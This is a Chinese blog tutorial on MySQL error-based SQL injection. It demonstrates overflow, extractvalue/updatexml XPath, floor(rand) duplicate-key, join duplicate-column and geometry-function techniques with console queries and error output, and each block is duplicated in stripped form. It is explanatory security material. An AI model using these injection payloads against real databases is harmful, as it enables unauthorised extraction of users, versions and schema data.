一、什么是SQL报错注入?
SQL报错注入就是让SQL函数报错,使得查询结果出现在错误信息中。
二、MySQL报错注入分类
1、数据类型溢出
2、xpath语法错误
3、主键重复
4、列名重复
5、几何函数缺少参数
三、具体说说上面几种报错类型
1、数据类型溢出
下面是MySQL官网的数字型数据类型的范围(MySQL5.5)
根据 https://dev.mysql.com/doc/refman/5.5/en/out-of-range-and-overflow.html文档可知,只有版本号大于5.5.5时会报错。
我们可以使用~0,用按位取反的方式得到最大值,在最大值基础上+1,得到最小的溢出值
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
1
2
3
mysql>select~0+1;
ERROR1690(22003):BIGINTUNSIGNEDvalueisoutofrangein'(~(0) + 1)'
exp函数差生类似的溢出错误
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
8
mysql>selectexp(709);
+-----------------------+
|exp(709)|
+-----------------------+
|8.218407461554972e307|
+-----------------------+
1rowinset(0.00sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
1
2
3
mysql>selectexp(710);
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(710)'
实战:
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localho
st' from dual)))'
1
2
3
4
mysql>selectexp(~(select*from(selectuser())x));
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select 'root@localho
st' from dual)))'
主要注意的是:在mysql>5.5.53的事后,exp报错不能返回结果,笔者这里用虚拟机中安装的phpstudy带的MySQL5.5.29版本测试成功,物理机安装的MySQL5.7.26测试失败。
2、xpath语法错误
从MySQL5.1.5开始提供两个XML查询和修改的函数, extractvalue()和updatexml()。
exreactvalue()负责在XML文件中按照xpath语法查询节点内容。
updatexml()则负责修改查询到的内容。
他们的第二个参数都要求符合Xpath语法的字符串,不满足语法就会报错,并将查询的结果放在报错信息中心。
extractvalue()的两个例子:
mysql> select extractvalue(1,(select version()));
ERROR 1105 (HY000): XPATH syntax error: '.26'
mysql> select extractvalue(1,(select user()));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
1
2
3
4
5
6
mysql>selectextractvalue(1,(selectversion()));
ERROR1105(HY000):XPATHsyntaxerror:'.26'
mysql>selectextractvalue(1,(selectuser()));
ERROR1105(HY000):XPATHsyntaxerror:'@localhost'
肯定有人好奇为什么报错来的信息并不完整,这是因为.和@都在xpath语法中有含义!当函数读取到一个xpath语法的符号后,开始解析但是因为解析不成功,随后报错。
解决方法:在语句前拼接一个xpath语法的特殊符号或者拼接一个能使xpath语法错误的特殊符号,例如~
xpath语法的链接放在这里:https://www.w3school.com.cn/xpath/xpath_syntax.asp
这里我们拼接一个xpath语法中的特殊含义字符,可以看到成功显示
mysql> select extractvalue(1,concat('*',user()));
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'
mysql> select extractvalue(1,concat('~',user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
1
2
3
4
5
6
mysql>selectextractvalue(1,concat('*',user()));
ERROR1105(HY000):XPATHsyntaxerror:'root@localhost'
mysql>selectextractvalue(1,concat('~',user()));
ERROR1105(HY000):XPATHsyntaxerror:'~root@localhost'
updatexml的两个例子:
mysql> select updatexml(1,concat('*',version()),1);
ERROR 1105 (HY000): XPATH syntax error: '5.7.26'
mysql> select updatexml(1,concat(0x7e,user(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
1
2
3
4
5
6
mysql>selectupdatexml(1,concat('*',version()),1);
ERROR1105(HY000):XPATHsyntaxerror:'5.7.26'
mysql>selectupdatexml(1,concat(0x7e,user(),0x7e),1);
ERROR1105(HY000):XPATHsyntaxerror:'~root@localhost~'
需要注意的是:extractvalue()和updatexml()这两个函数都有长度限制,都是32位。
3、主键重复
这里利用count()和group by遇到floor(rand(0)*2)产生的重复值时的报错的思路。
mysql> select count(*) from information_schema.columns group by concat(user(),0x7e,floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost~1' for key ''
1
2
3
mysql>selectcount(*)frominformation_schema.columnsgroupbyconcat(user(),0x7e,floor(rand(0)*2));
ERROR1062(23000):Duplicateentry'root@localhost~1'forkey''
基本原理:
①首先介绍一下这几个函数
count() 统计个数
group by 按列分组
floor() 向下舍去小数位,保留整数位
rand() 随机函数
②rand(0)是一个稳定的序列不变的随机数(一组)
所以当我们使用floor()函数对rand()的值进行操作之后,也是一个稳定的序列
③使用group by进行count()进行统计的时候的过程
首先会创建一个虚拟表,包含两个部分,一个是主键,一个是计数器。
当开始查询数据的时候,首先看虚拟表中有没有这个主键,如果存在,计数器加1;
不存在的话,重新查询数据,插入主键值,并把计数器初始值设置为1。
有了上面的铺垫,我们来看下为什么下面的语句会报错
mysql> select count(*) from users group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key ''
1
2
3
mysql>selectcount(*)fromusersgroupbyfloor(rand(0)*2);
ERROR1062(23000):Duplicateentry'1'forkey''
首先,我们去分组的时候根据的是floor(rand(0)*2)的值。
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
5 rows in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
11
12
mysql>selectfloor(rand(0)*2)fromusers;
+------------------+
|floor(rand(0)*2)|
+------------------+
|0|
|1|
|1|
|0|
|1|
+------------------+
5rowsinset(0.00sec)
第一次查询,运算floor(rand(0)*2),我们group by 后面的值为0,主键并不存在,所以我们再次运算floor(rand(0)*2),但返回结果为1,把主键为1的值插入,并把计数器的初始值设置为1。
第二次查询,运算floor(rand(0)*2),这里其实已经是第三次调用floor(rand(0)*2)了,返回值为1,在虚拟表中存在主键为1的值,直接在计数器上加1,此时计数器值为2。
第三次查询,运算floor(rand(0)*2),这里其实已经是第四次调用floor(rand(0)*2)了,返回值为0,在虚拟表中不存在主键为0的值,需要添加主键为0的值,需要再次运算floor(rand(0)*2)后添加入主键的值中。但这次floor(rand(0)*2)是第五次,返回的值为1,本来是要插入的主键值中不存在的新值0,但是这次查询返回的值为1,发现主键为1的值已经存在,故报错。
4、列名重复
利用join()函数可以爆破列名
mysql> select * from(select * from users a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'user_id'
mysql> select * from(select * from users a join users b using(user_id))c;
ERROR 1060 (42S21): Duplicate column name 'first_name'
1
2
3
4
5
mysql>select *from(select *fromusersajoinusersb)c;
ERROR1060(42S21):Duplicatecolumnname'user_id'
mysql>select *from(select *fromusersajoinusersbusing(user_id))c;
ERROR1060(42S21):Duplicatecolumnname'first_name'
5、几何函数
MySQL中有一些几何函数,参数不满足要求就会报错,但是这些函数通常都是低版本MySQL适用。
有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()等等。
MySQL 5.5.29 成功
MySQL 5.7.26 失败
因为MySQL版本问题,后续会写一篇关于fuzz报错函数的文章,这里剩下的几何函数类报错就不再赘述了。